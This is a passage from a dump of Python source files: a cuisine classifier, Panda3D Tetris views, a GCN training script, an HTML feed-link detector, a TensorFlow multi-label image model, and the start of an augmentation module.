result_tfidf[index].feature[::-1],\r\n orientation = 'h',marker = dict(color = random_colours(5),))\r\n traces.append(trace)\r\n\r\nfor t,y,z in zip(traces,y,z):\r\n fig.append_trace(t, y,z)\r\n\r\n fig['layout'].update(height=800, width=840,\r\n margin=dict(l=110,r=5,b=40,t=90,pad=5), showlegend=False, title='Feature Importance based on Tf-Idf measure')\r\n\r\niplot(fig, filename='horizontal-bar')\r\n\r\n# Set the plot\r\ntotalPlot = 10\r\ny = [[item]*2 for item in range(1,10)]\r\ny = list(chain.from_iterable(y))\r\nz = [1,2]*int((totalPlot/2))\r\n\r\nfig = tools.make_subplots(rows= 5, cols=2, subplot_titles= labels[10:20], specs = [[{}, {}],[{}, {}],[{}, {}],[{}, {}],[{}, {}]], horizontal_spacing = 0.20)\r\ntraces = []\r\nfor index,element in enumerate(result_tfidf[10:20]): \r\n trace = go.Bar(\r\n x= result_tfidf[10:20][index].tfidf[::-1],\r\n y= result_tfidf[10:20][index].feature[::-1],\r\n orientation = 'h',marker = dict(color = random_colours(5),))\r\n traces.append(trace)\r\n\r\nfor t,y,z in zip(traces,y,z):\r\n fig.append_trace(t, y,z)\r\n\r\n fig['layout'].update(height=800, width=840,\r\n margin=dict(l=100,r=5,b=40,t=90,pad=5), showlegend=False, title='Feature Importance based on Tf-Idf measure')\r\n\r\niplot(fig, filename='horizontal-bar')\r\n\r\n# Train sample \r\nprint(\"How training data looks like at this stage (example of one recipe):\")\r\nprint(str(features[0]) + '\\n' )\r\nprint(\"Number of instances: \"+ str(len(features)) + '\\n')\r\nprint(\"And the target variable:\")\r\nprint(target[0])\r\n\r\n# Test Sample - only features - the target variable is not provided.\r\nfeatures_test = [] # list of lists containg the recipes\r\nfor item in test_data['ingredients']:\r\n features_test.append(item)\r\n \r\n print(\"How test data looks like at this stage (example of one recipe):\")\r\nprint(str(features_test[0]) + '\\n')\r\nprint(\"Number of instances: \"+ str(len(features_test)))\r\n\r\n# Both train and test samples are processed in the exact same way\r\n# Train\r\nfeatures_processed= [] # here we will store the preprocessed training features\r\nfor item in features:\r\n newitem = []\r\n for ingr in item:\r\n ingr.lower() # Case Normalization - convert all to lower case \r\n ingr = re.sub(\"[^a-zA-Z]\",\" \",ingr) # Remove punctuation, digits or special characters \r\n ingr = re.sub((r'\\b(oz|ounc|ounce|pound|lb|inch|inches|kg|to)\\b'), ' ', ingr) # Remove different units \r\n newitem.append(ingr)\r\n features_processed.append(newitem)\r\n\r\n# Test \r\nfeatures_test_processed= [] \r\nfor item in features_test:\r\n newitem = []\r\n for ingr in item:\r\n ingr.lower() \r\n ingr = re.sub(\"[^a-zA-Z]\",\" \",ingr)\r\n ingr = re.sub((r'\\b(oz|ounc|ounce|pound|lb|inch|inches|kg|to)\\b'), ' ', ingr) \r\n newitem.append(ingr)\r\n features_test_processed.append(newitem)\r\n \r\n \r\n# Check for empty instances in train and test samples after processing before proceeding to next stage of the analysis \r\ncount_m = [] \r\nfor recipe in features_processed:\r\n if not recipe:\r\n count_m.append([recipe])\r\n else: pass\r\nprint(\"Empty instances in the preprocessed training sample: \" + str(len(count_m)))\r\n\r\ncount_m = [] \r\nfor recipe in features_test_processed:\r\n if not recipe:\r\n count_m.append([recipe])\r\n else: pass\r\nprint(\"Empty instances in the preprocessed test sample: \" + str(len(count_m)))\r\n\r\n# Binary representation of the training set will be employed\r\nvectorizer = CountVectorizer(analyzer = \"word\",\r\n ngram_range = (1,1), # unigrams\r\n binary = True, # (the default is counts)\r\n tokenizer = None, \r\n preprocessor = None, \r\n stop_words = None, \r\n max_df = 0.99) # any word appearing in more than 99% of the sample will be discarded\r\n\r\n# Fit the vectorizer on the training data and transform the test sample\r\ntrain_X = vectorizer.fit_transform([str(i) for i in features_processed])\r\ntest_X = vectorizer.transform([str(i) for i in features_test_processed])\r\n\r\n# Apply label encoding on the target variable (before model development)\r\nlb = LabelEncoder()\r\ntrain_Y = lb.fit_transform(target)\r\n\r\n# Ensemble Unigram model (baseline model) - parameters are not tuned at this stage\r\nvclf=VotingClassifier(\r\n estimators= [('clf1',LogisticRegression(random_state = 42)),\r\n ('clf2',SVC(kernel='linear',random_state = 42,probability=True)),\r\n ('clf3',RandomForestClassifier(n_estimators = 600,random_state = 42))], \r\n voting='soft', weights = [1,1,1]) \r\nvclf.fit(train_X, train_Y)\r\n\r\n# 10-fold Cross validation of the results\r\nkfold = model_selection.KFold(n_splits=10, random_state=42)\r\nvalscores = model_selection.cross_val_score(vclf, train_X, train_Y, cv=kfold)\r\nprint('Mean accuracy on 10-fold cross validation: ' + str(np.mean(valscores))) # 0.8005731359034913\r\n\r\n# Generate predictions on test sample\r\npredictions = vclf.predict(test_X) \r\npredictions = lb.inverse_transform(predictions)\r\npredictions_final = pd.DataFrame({'cuisine' : predictions , 'id' : test_data.id }, columns=['id', 'cuisine'])\r\npredictions_final.to_csv('Final_submission.csv', index = False)\r\n\r\n","sub_path":"project/6_VotingClassifier.py","file_name":"6_VotingClassifier.py","file_ext":"py","file_size_in_byte":20372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"484092983","text":"from tetris import *\nfrom mino import *\nfrom cube import *\nfrom events import *\nfrom panda3d.core import *\nfrom pandac.PandaModules import * \n\nclass TetrisView:\n\tdef __init__(v,tetris):\n\t\tv.tetris,tetris.view=tetris,v\n\t\ts(v,\"mino spawned\")\n\t\t\n\tdef on_mino_spawned(v,mino):\n\t\tv.mino=MinoView(mino)\n\nclass MinoView:\n\tdef __init__(v,mino):\n\t\tv.mino,mino.view=mino,v\n\t\tfor c in mino.cubes:\n\t\t\tc.view=CubeView(c)\n\t\ts(v.repos,\"mino moved\")\n\t\t\n\tdef repos(v):\n\t\tfor c in v.mino.cubes:\n\t\t\tc.view.repos()\n\nclass CubeView:\n\tdef __init__(v,cube):\n\t\tv.cube,cube.view=cube,v\n\t\tv.scale=0.5\n\t\tv.model=loader.loadModel(\"assets/models/cube.x\")\n\t\tv.model.setScale(v.scale)\n\t\tv.repos()\n\t\tv.model.reparentTo(render)\n\t\tcolor=v.color_by_mino_type(cube.mino)\n\t\tv.model.setColor(color)\n\t\t#v.model.setFog(Fog(5))\n\t\ts(v,\"cube removed\")\n\t\ts(v,\"cube pulled\")\n\n\tdef color_by_mino_type(v,mino):\n\t\tcolors={\n\t\t\t\t'MinoI':Vec4(0,1,1,.2),\n\t\t\t\t'MinoO':Vec4(1,1,0,.2),\n\t\t\t\t'MinoL':Vec4(1,.4,0,.2),\n\t\t\t\t'MinoJ':Vec4(0,0,1,.2),\n\t\t\t\t'MinoT':Vec4(.5,0,.5,.2),\n\t\t\t\t'MinoS':Vec4(0,1,0,.2),\n\t\t\t\t'MinoZ':Vec4(1,0,0,.2)\n\t\t\t\t}\n\t\tname=mino.__class__.__name__\n\t\treturn colors[name]\n\n\tdef on_cube_removed(v,cube):\n\t\tif v.cube!=cube: return\n\t\tv.model.hide()\n\t\tv.model.removeNode()\n\n\t\t#node = NodePath(\"PhysicsNode\")\n\t\t#node.reparentTo(render)\n\t\t#an = ActorNode(\"cube-physics\")\n\t\t#anp = node.attachNewNode(an)\n\t\t#base.physicsMgr.attachPhysicalNode(an)\n\t\t#v.model.reparentTo(anp)\n\n\t\t#forceNode=ForceNode(\"spin\")\n\t\t#avf=AngularVectorForce(1,0,0) # Spin around the positive-x axis \n\t\t#forceNode.addForce(avf) # Determine which positive-x axis we use for calculation\n\t\t#an.getPhysical(0).addAngularForce(avf) # Add the force to the object\n\n\tdef on_cube_pulled(v,cube):\n\t\tif v.cube!=cube: return\n\t\tv.repos()\n\n\tdef new_pos(v):\n\t\treturn Point3(\\\n\t\t\tv.cube.x+v.scale*2,0,\\\n\t\t\tv.cube.y+v.scale*2)\n\n\tdef repos(v):\n\t\tv.model.setPos(v.new_pos())\n\t\t#v.bulbnp.setPos(v.new_pos())\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t#def repos(v):\n\t\t#if hasattr(v,\"setpos_interval\"):\n\t\t#\tv.setpos_interval.finish()\n\t\t#\tv.ph.setPos(v.new_pos())\n\n\t#def repos(v,speed=.1):\n\t#\tv.setpos_interval=\\\n\t#\t\tv.ph.posInterval(speed,v.new_pos(),v.ph.getPos())\n\t#\tv.setpos_interval.start()\n\t\t#v.ph=render.attachNewNode(\"cube_placeholder\")\n\t\t#v.model.instanceTo(v.ph)\n\n\n#bulb=PointLight('plight')\n#\t\tbulb.setColor(VBase4(1, 1, 1, 1))\n#\t\tbulb.setAttenuation(Point3(0, 0, 0.5))\n#\t\tv.bulbnp=render.attachNewNode(bulb)\n#\t\trender.setLight(v.bulbnp)\n##\n","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"60254669","text":"import argparse, time\nimport numpy as np\nimport networkx as nx\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom dgl import DGLGraph\nfrom dgl.data import register_data_args, load_data\n\nfrom gcn import GCN\n\n# from gcn_mp import GCN\n# from gcn_spmv import GCN\n\nfrom sklearn.metrics import precision_recall_fscore_support as score\nfrom sklearn.metrics import classification_report as report\n\ntorch.manual_seed(2)\n\n\ndef evaluate(model, features, labels, mask):\n \"\"\"Gives accuracy.\"\"\"\n model.eval()\n with torch.no_grad():\n logits = model(features)\n logits = logits[mask]\n labels = labels[mask].cpu().numpy()\n\n # Statistics\n _, indices = torch.max(logits, dim=1)\n prediction = indices.long().cpu().numpy()\n accuracy = (prediction == labels).sum() / len(prediction)\n precision, recall, fscore, _ = score(\n labels, prediction, average=\"macro\"\n )\n\n class_based_report = report(labels, prediction)\n\n return accuracy, precision, recall, fscore, class_based_report\n\n\ndef main(args):\n # load and preprocess dataset\n data = load_data(args)\n features = torch.FloatTensor(data.features)\n labels = torch.LongTensor(data.labels)\n if hasattr(torch, \"BoolTensor\"):\n train_mask = torch.BoolTensor(data.train_mask)\n val_mask = torch.BoolTensor(data.val_mask)\n test_mask = torch.BoolTensor(data.test_mask)\n else:\n train_mask = torch.ByteTensor(data.train_mask)\n val_mask = torch.ByteTensor(data.val_mask)\n test_mask = torch.ByteTensor(data.test_mask)\n in_feats = features.shape[1]\n n_classes = data.num_labels\n n_edges = data.graph.number_of_edges()\n print(\n \"\"\"----Data statistics------'\n #Edges %d\n #Classes %d\n #Train samples %d\n #Val samples %d\n #Test samples %d\"\"\"\n % (\n n_edges,\n n_classes,\n train_mask.int().sum().item(),\n val_mask.int().sum().item(),\n test_mask.int().sum().item(),\n )\n )\n\n if args.gpu < 0:\n cuda = False\n else:\n cuda = True\n torch.cuda.set_device(args.gpu)\n features = features.cuda()\n labels = labels.cuda()\n train_mask = train_mask.cuda()\n val_mask = val_mask.cuda()\n test_mask = test_mask.cuda()\n\n # graph preprocess and calculate normalization factor\n g = data.graph\n # add self loop\n if args.self_loop:\n g.remove_edges_from(nx.selfloop_edges(g))\n g.add_edges_from(zip(g.nodes(), g.nodes()))\n g = DGLGraph(g)\n n_edges = g.number_of_edges()\n # normalization\n degs = g.in_degrees().float()\n norm = torch.pow(degs, -0.5)\n norm[torch.isinf(norm)] = 0\n if cuda:\n norm = norm.cuda()\n g.ndata[\"norm\"] = norm.unsqueeze(1)\n\n # create GCN model\n model = GCN(\n g,\n in_feats,\n args.n_hidden,\n n_classes,\n args.n_layers,\n F.relu,\n args.dropout,\n )\n\n if cuda:\n model.cuda()\n loss_fcn = torch.nn.CrossEntropyLoss()\n\n # use optimizer\n optimizer = torch.optim.Adam(\n model.parameters(), lr=args.lr, weight_decay=args.weight_decay\n )\n\n # initialize graph\n dur = []\n for epoch in range(args.n_epochs):\n model.train()\n if epoch >= 3:\n t0 = time.time()\n # forward\n logits = model(features)\n loss = loss_fcn(logits[train_mask], labels[train_mask])\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if epoch >= 3:\n dur.append(time.time() - t0)\n\n accuracy, precision, recall, fscore, _ = evaluate(\n model, features, labels, val_mask\n )\n print(\"Epoch:\", epoch)\n print(\"Loss:\", loss.item())\n print(\"Accuracy:\", accuracy)\n print(\"Precision:\", precision)\n print(\"Recall:\", recall)\n print(\"F-Score:\", fscore)\n print()\n print(\"=\" * 80)\n print()\n\n accuracy, precision, recall, fscore, class_based_report = evaluate(\n model, features, labels, test_mask\n )\n print(\"=\" * 80)\n print(\" \" * 28 + \"Final Statistics\")\n print(\"=\" * 80)\n print(\"Accuracy\", accuracy)\n print(\"Precision\", precision)\n print(\"Recall\", recall)\n print(\"F-Score\", fscore)\n print(class_based_report)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"GCN\")\n register_data_args(parser)\n parser.add_argument(\n \"--dropout\", type=float, default=0.25, help=\"dropout probability\"\n )\n parser.add_argument(\"--gpu\", type=int, default=-1, help=\"gpu\")\n parser.add_argument(\"--lr\", type=float, default=1e-1, help=\"learning rate\")\n parser.add_argument(\n \"--n-epochs\", type=int, default=800, help=\"number of training epochs\"\n )\n parser.add_argument(\n \"--n-hidden\", type=int, default=4, help=\"number of hidden gcn units\"\n )\n parser.add_argument(\n \"--n-layers\", type=int, default=1, help=\"number of hidden gcn layers\"\n )\n parser.add_argument(\n \"--weight-decay\", type=float, default=5e-4, help=\"Weight for L2 loss\"\n )\n parser.add_argument(\n \"--self-loop\",\n action=\"store_true\",\n help=\"graph self-loop (default=False)\",\n )\n parser.set_defaults(self_loop=False)\n args = parser.parse_args()\n print(args)\n\n main(args)\n","sub_path":"gcn/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"52371078","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport itertools\nimport re\n\nfrom collections import defaultdict\n\nfrom .abstract import BaseComponent\nfrom .compat import *\n\n\nLINK_RE = re.compile(r'\\Ahttps?://', re.I)\nSHORT_RE = re.compile(r'\\A[\\u0001-\\u02ff]*\\Z')\nBLANK_RE = re.compile(r'\\s+', re.U)\n\nDENY_URLS = ('www.facebook.com/sharer/sharer.php',\n 'twitter.com/intent/tweet')\nDENY_URLS_RE = re.compile(r'\\Ahttps?://(?:' +\n '|'.join([re.escape(x) for x in DENY_URLS]) + ')')\n\nSCORE_LINK = 2 # normal link\nSCORE_IMG = 1 # image link\nSCORE_DENY_URL = -6 # penalty of denied urls\nSCORE_NO_TITLE = -2 # link without text\nSCORE_LABEL = -1 # link text looks like a label\nSCORE_SHORT = 0 # link text is too short\n\nSCORE_DUP_URL = -4 # penalty of url duplication (but not title)\nSCORE_DUP_KEY = -6 # penalty of url and title duplication\n\n\ndef cached_property(f):\n attr_name = '_' + f.__name__\n def getter(self):\n v = getattr(self, attr_name, None)\n if v is None:\n v = f(self)\n setattr(self, attr_name, v)\n return v\n return property(getter)\n\n\nclass Entry(object):\n __slots__ = ('score', 'element', 'url', 'title', 'paths', 'fullpath')\n\n def __init__(self, element):\n self.score = SCORE_LINK\n self.element = element\n self.title = (element.text_content() or u'').strip()\n self.url = (element.get('href') or u'').strip()\n self.paths = self._build_paths(element)\n self.fullpath = self._build_fullpath(element)\n if not self.title:\n imgs = [x for x in element.iterdescendants('img')]\n if len(imgs) == 1:\n self.title = (imgs[0].get('alt') or u'').strip()\n self.score = SCORE_IMG\n if DENY_URLS_RE.match(self.url):\n self.score = SCORE_DENY_URL\n elif not self.title:\n self.score = SCORE_NO_TITLE\n elif SHORT_RE.match(self.title):\n l = len(BLANK_RE.findall(self.title))\n if l <= 2:\n self.score = SCORE_LABEL if l <= 1 else SCORE_SHORT\n elif len(self.title) <= 6:\n self.score = SCORE_LABEL\n elif len(self.title) <= 8:\n self.score = SCORE_SHORT\n\n def _build_paths(self, el, rpaths=[]):\n tag = el.tag\n if tag in ('html', 'body') or len(rpaths) > 32:\n paths = [(tag,)]\n else:\n classes = el.get('class', '').split()[:2] # important class(es) may be put first.\n paths = [('%s.%s' % (tag, x),) for x in classes]\n tagid = el.get('id', '').strip() if rpaths else ''\n if tagid:\n paths.append(('%s#%s' % (tag, tagid),))\n paths.append((tag,))\n if rpaths:\n paths = [x + y for x, y in itertools.product(paths, rpaths)]\n parent = el.getparent()\n if parent is not None:\n paths = self._build_paths(parent, rpaths=paths)\n return paths\n\n def _build_fullpath(self, el):\n path = []\n for parent in reversed([x for x in el.iterancestors()]):\n tag = parent.tag\n cls = '.'.join(sorted(parent.get('class', '').split()))\n if cls:\n path.append('%s.%s' % (tag, cls))\n else:\n path.append(tag)\n path.append(el.tag) # a tag's class may indicate click behavior so should not be included.\n return '>'.join(path)\n\n @classmethod\n def entries_in_document(cls, doc):\n return (cls(x) for x in doc.iterdescendants('a') if LINK_RE.match(x.get(u'href', u'')))\n\n\nclass Path(object):\n __slots__ = ('path', 'key', '_entries', '_entry_map', '_fingerprint')\n\n def __init__(self, path):\n self.path = path\n self.key = Path.key_from(path)\n self._entries = None\n self._entry_map = {}\n self._fingerprint = None\n\n @cached_property\n def entries(self):\n return list(itervalues(self._entry_map))\n\n @cached_property\n def fingerprint(self):\n return frozenset(iterkeys(self._entry_map))\n\n def add_entry(self, entry):\n self._entry_map[id(entry)] = entry\n self._entries = None\n self._fingerprint = None\n\n @classmethod\n def key_from(cls, path):\n return '>'.join(path)\n\n\nclass PathBuilder(object):\n\n def __init__(self, document):\n self._doc = document\n self._paths = {}\n self._build_tree()\n\n @property\n def paths(self):\n return self._paths.values()\n\n def _remove_duplicated_id(self):\n dups = set()\n for el in self._doc.root.iter():\n id_attr = el.get('id', '').strip()\n if id_attr and id_attr in dups:\n del el.attrib['id']\n dups.add(id_attr)\n\n def _add_path(self, path, entry):\n for i in xrange(3, len(path) + 1):\n sub = path[:i]\n key = Path.key_from(sub)\n value = self._paths.get(key)\n if value is None:\n value = Path(sub)\n self._paths[key] = value\n value.add_entry(entry)\n\n def _build_tree(self):\n self._remove_duplicated_id()\n # [TODO] Nested A tags should be removed.\n for entry in Entry.entries_in_document(self._doc.root):\n for path in entry.paths:\n self._add_path(path, entry)\n\n\nclass EntryGroup(object):\n __slots__ = ('score', 'paths', 'entries', 'url_set')\n\n def __init__(self, entries):\n assert len(entries) > 0, 'Group entries must not be empty'\n self.score = sum([x.score for x in entries])\n self.paths = []\n self.entries = list(entries)\n self.url_set = frozenset([x.url for x in entries])\n self._score_duplication()\n self._score_fullpath()\n\n def add_path(self, path):\n self.paths.append(path)\n\n def __len__(self):\n return len(self.entries)\n\n def _score_duplication(self):\n urls = set()\n keys = set()\n for entry in self.entries:\n key = (entry.title, entry.url)\n if key in keys:\n self.score += SCORE_DUP_KEY\n elif entry.url in urls:\n self.score += SCORE_DUP_URL\n keys.add(key)\n urls.add(entry.url)\n\n def _score_fullpath(self):\n counts = defaultdict(int)\n for entry in self.entries:\n counts[entry.fullpath] += 1\n count = len([k for k, v in iteritems(counts) if v > 1])\n if count > 1:\n self.score /= count * 0.9\n\n\nclass Optimizer(object):\n\n def __init__(self, paths):\n self._groups = {}\n for path in paths:\n if len(path.entries) <= 0:\n continue\n key = path.fingerprint\n group = self._groups.get(key)\n if group is None:\n group = self._groups[key] = EntryGroup(path.entries)\n group.add_path(path)\n\n def optimize(self):\n self._remove_small_groups(4)\n self._consider_inclusion()\n result = sorted([x for x in itervalues(self._groups) if x.score > 0],\n key=lambda x:x.score, reverse=True)\n return result\n\n def _remove_small_groups(self, threshold):\n self._groups = dict([(k, v) for k, v in iteritems(self._groups) if len(v) > threshold])\n\n def _consider_inclusion(self):\n for a, b in itertools.combinations(itervalues(self._groups), 2):\n if a.score <= 0 or b.score <= 0:\n continue\n lab, lba = len(a.url_set - b.url_set), len(b.url_set - a.url_set)\n if lab == 0 or lba == 0:\n (a if a.score < b.score else b).score = 0\n\n\nclass Detector(BaseComponent):\n\n def run(self, doc):\n paths = PathBuilder(doc).paths\n result = Optimizer(paths).optimize()\n return result\n","sub_path":"feed_detector/detector.py","file_name":"detector.py","file_ext":"py","file_size_in_byte":7970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"120988615","text":"from __future__ import absolute_import, division, print_function\nimport tensorflow as tf\nfrom Util import CNN_layers as layers\nfrom Util import LSTM_layer as lstm\nfrom Util import anti_bug\nfrom Model import NetVGG\nimport numpy as np\n\n\n# from tensorflow.python.ops.nn import dropout\n\nclass ImgViewModel(object):\n def __init__(self, sess, lr, class_num, pretrained_file, text_emb_size=1000, batch_size=20, num_seq=20,\n is_normalize=False,\n is_dropout=True):\n self.sess = sess\n self.lr = lr\n self.class_num = class_num\n\n self.pretrained_file = pretrained_file\n self.text_emb_size = text_emb_size\n self.batch_size = batch_size\n self.num_seq = num_seq\n self.is_normalize = is_normalize\n self.is_dropout = is_dropout\n self.img_in = tf.placeholder(tf.float32, [batch_size, 224, 224, 3])\n self.sup = tf.placeholder(tf.float32, [batch_size, class_num])\n self.sup0 = tf.placeholder(tf.float32, [batch_size, class_num])\n self.sup1 = tf.placeholder(tf.float32, [batch_size, class_num])\n self.sup2 = tf.placeholder(tf.float32, [batch_size, class_num])\n self.sup3 = tf.placeholder(tf.float32, [batch_size, class_num])\n self.sup4 = tf.placeholder(tf.float32, [batch_size, class_num])\n self.graph = tf.get_default_graph()\n self.g_step = tf.Variable(0, trainable=False)\n\n self.net = self._build_net()\n self.trainable_list = [var for var in tf.trainable_variables() if\n not (var.name.startswith(\"conv_layers/fc\") or var.name.startswith(\n \"conv_layers/conv1\") or var.name.startswith(\n \"conv_layers/conv2\") or var.name.startswith(\n \"conv_layers/conv3\") or var.name.startswith(\n \"conv_layers/conv4\"))]\n self.loss = self._get_loss()\n self.optimizer = self._get_optimizer()\n self.gradient, self.gradient_applier = self._get_grad()\n self._initialize()\n self.err = self._get_accuracy3()\n self.train_summery = tf.merge_all_summaries()\n\n def _build_net(self):\n\n cnn_pool5 = NetVGG.vgg_pool5(self.img_in, 'conv_layers')\n #fc6 = layers.fc_relu_layer('fc6', cnn_pool5, output_dim=4096)\n fc7 = layers.fc_relu_layer('fc7', cnn_pool5, output_dim=1024)\n prob0 = layers.fc_layer('prob0', fc7, self.class_num)\n prob1 = layers.fc_layer('prob1', fc7, self.class_num)\n prob2 = layers.fc_layer('prob2', fc7, self.class_num)\n prob3 = layers.fc_layer('prob3', fc7, self.class_num)\n\n rslt = []\n rslt.append(prob0)\n rslt.append(prob1)\n rslt.append(prob2)\n rslt.append(prob3)\n return rslt\n\n def _get_optimizer(self):\n opt = tf.train.AdamOptimizer(learning_rate=self.lr)\n\n return opt\n\n def _get_loss(self):\n # loss = tf.mul(self.sup, -1 * tf.log(self.net)) + tf.mul((1 - self.sup), -1 * tf.log(1 - self.net))\n loss0 = tf.reduce_sum(tf.nn.softmax_cross_entropy_with_logits(tf.sigmoid(self.net[0], name='ss0'), self.sup0))\n loss1 = tf.reduce_sum(tf.nn.softmax_cross_entropy_with_logits(tf.sigmoid(self.net[1], name='ss1'), self.sup1))\n loss2 = tf.reduce_sum(tf.nn.softmax_cross_entropy_with_logits(tf.sigmoid(self.net[2], name='ss2'), self.sup2))\n loss3 = tf.reduce_sum(tf.nn.softmax_cross_entropy_with_logits(tf.sigmoid(self.net[3], name='ss3'), self.sup3))\n\n regu_list = [var for var in self.trainable_list if\n not (var.name.startswith(\"heheeee\"))]\n single_regu_loss = [tf.nn.l2_loss(par) for par in regu_list]\n regu_loss = tf.add_n(single_regu_loss)\n loss_out = 0.99999 * tf.reduce_sum(loss0 + loss1 + loss2 + loss3) + 0.00001 * regu_loss\n tf.scalar_summary(\"Loss\", loss_out)\n tf.scalar_summary(\"Regu\", regu_loss)\n return loss_out\n\n def _get_grad(self):\n\n gradients = self.optimizer.compute_gradients(self.loss, var_list=self.trainable_list)\n gradient_applier = self.optimizer.apply_gradients(gradients, global_step=self.g_step)\n return gradients, gradient_applier\n\n def _get_accuracy(self):\n\n rounded_prediction = tf.round(tf.sigmoid(self.net))\n sub = tf.sub(rounded_prediction, self.sup)\n err = tf.reduce_sum(tf.abs(sub)) / (self.batch_size * self.class_num)\n tf.scalar_summary(\"ErrorRate\", err)\n tf.scalar_summary(\"SumOut\", tf.reduce_sum(rounded_prediction))\n tf.scalar_summary(\"SumSup\", tf.reduce_sum(self.sup))\n return err\n\n def _get_accuracy2(self):\n\n rounded_prediction = tf.round(tf.sigmoid(self.net))\n\n err1 = tf.reduce_sum(tf.mul(rounded_prediction, self.sup)) / tf.reduce_sum(self.sup)\n err2 = tf.reduce_sum(tf.mul(rounded_prediction, 1 - self.sup)) / tf.reduce_sum(1 - self.sup)\n err3 = tf.reduce_sum(tf.round(tf.sigmoid(tf.reduce_sum(tf.mul(rounded_prediction, self.sup), 0)) - 0.1)) / 20.\n tf.scalar_summary(\"TPoverFP\", err1 / err2)\n tf.scalar_summary(\"TPoverFP2\", err1 * tf.reduce_sum(self.sup) / (err2 * tf.reduce_sum(1 - self.sup)))\n tf.scalar_summary(\"TPRate\", err1)\n tf.scalar_summary(\"AccRate\", err3)\n tf.scalar_summary(\"SumOut\", tf.reduce_sum(rounded_prediction))\n tf.scalar_summary(\"SumSup\", tf.reduce_sum(self.sup))\n return err1\n\n def _get_accuracy3(self, k=3):\n dense_in = tf.sigmoid(self.net[0]) + tf.sigmoid(self.net[1]) + tf.sigmoid(self.net[2]) + tf.sigmoid(\n self.net[3]) # + tf.sigmoid(self.net[4]) # + self.net[5]\n dense = anti_bug.gen_dense2(dense_in, k=k)\n\n ands = tf.mul(dense, self.sup)\n\n # n_pcr = tf.cond(tf.equal( tf.reduce_sum(self.sup, 0),tf.constant))\n ind_sup = tf.to_float(tf.greater(tf.reduce_sum(self.sup, 0), tf.zeros([1, self.class_num])))\n inv_ind_sup = tf.to_float(tf.equal(tf.reduce_sum(self.sup, 0), tf.zeros([1, self.class_num], dtype=tf.float32)))\n pcr_shang = tf.mul(tf.reduce_sum(ands, 0), ind_sup)\n pcr_xia = tf.add(tf.reduce_sum(self.sup, 0), inv_ind_sup)\n\n ind_dense = tf.to_float(tf.greater(tf.reduce_sum(dense, 0), tf.zeros([1, self.class_num])))\n inv_ind_dense = tf.to_float(tf.equal(tf.reduce_sum(dense, 0), tf.zeros([1, self.class_num])))\n\n pcp_shang = tf.reduce_sum(ands, 0)\n pcp_xia = tf.add(tf.reduce_sum(dense, 0), inv_ind_dense)\n\n pcr = tf.reduce_sum(tf.mul(tf.div(pcr_shang, pcr_xia), ind_sup)) / tf.reduce_sum(ind_sup)\n pcp = tf.reduce_sum(tf.mul(tf.div(pcp_shang, pcp_xia), ind_dense)) / tf.reduce_sum(ind_dense)\n ar = tf.reduce_sum(ands) / tf.reduce_sum(self.sup)\n ap = tf.reduce_sum(ands) / tf.reduce_sum(dense)\n tf.scalar_summary('PerClassRecall', pcr)\n tf.scalar_summary('PerClassPrecision', pcp)\n tf.scalar_summary('OverallRecall', ar)\n tf.scalar_summary('OverallPrecision', ap)\n\n tf.scalar_summary(\"SumOut\", tf.reduce_sum(dense))\n tf.scalar_summary(\"SumSup\", tf.reduce_sum(self.sup))\n\n # tf.scalar_summary(\"SumStrange\", tf.reduce_sum(tf.abs(dense-dense2)))\n\n return ar\n\n def _initialize(self, load_cnn_weights=True):\n \"\"\"\n Initializes network weights from some pretrained model\n Args:\n load_cnn_weights: to denote if only cnn weights are to be loaded\n Returns:\n hehe\n \"\"\"\n\n # cnn parameters\n init_stat = []\n conv_layers = ['conv1_1', 'conv1_2', 'conv2_1', 'conv2_2',\n 'conv3_1', 'conv3_2', 'conv3_3',\n 'conv4_1', 'conv4_2', 'conv4_3',\n 'conv5_1', 'conv5_2', 'conv5_3']\n pretrained_params = np.load(self.pretrained_file)\n if load_cnn_weights:\n pretrained_weights = pretrained_params['processed_W'][()]\n pretrained_biases = pretrained_params['processed_B'][()]\n with tf.variable_scope('conv_layers', reuse=True):\n for name in conv_layers:\n assigned_W = tf.assign(tf.get_variable(name + '/weights'), pretrained_weights[name])\n assigned_B = tf.assign(tf.get_variable(name + '/biases'), pretrained_biases[name])\n init_stat += [assigned_W, assigned_B]\n\n pretrained_params.close()\n\n self.sess.run(tf.initialize_all_variables())\n self.sess.run(tf.group(*init_stat))\n\n def forward_and_backward(self, batch_img, batch_sup, batch_sup0, batch_sup1, batch_sup2, batch_sup3, batch_sup4):\n\n return self.sess.run(\n [self.net, self.loss, self.err, self.gradient, self.gradient_applier, self.train_summery],\n feed_dict={self.img_in: batch_img, self.sup: batch_sup, self.sup0: batch_sup0, self.sup1: batch_sup1,\n self.sup2: batch_sup2, self.sup3: batch_sup3, self.sup4: batch_sup4})\n\n # return self.sess.run(\n # [\n # tf.nn.top_k(self.net, k=6)],\n # feed_dict={self.img_in: batch_img, self.sup: batch_sup})\n","sub_path":"Model/NetCNN.py","file_name":"NetCNN.py","file_ext":"py","file_size_in_byte":9152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"215085853","text":"from __future__ import annotations\nfrom typing import Dict, Any, Union, TYPE_CHECKING\n\nimport imgaug.augmenters as iaa\nimport random\nfrom src2.Configuration import config\n\nfrom src2.Genotype.Mutagen.IntegerVariable import IntegerVariable\nfrom src2.Genotype.Mutagen.ContinuousVariable import ContinuousVariable\nfrom src2.Genotype.Mutagen.Option import Option\n\nimport src2.Phenotype.Augmentations.DADefinitions as DAD\n\n# augmentations = [\n# iaa.Fliplr(1),\n# iaa.Affine(rotate=(-30, 30)),\n# iaa.Affine(translate_px={\"x\": (-4, 4), \"y\": (-4, 4)}),\n# 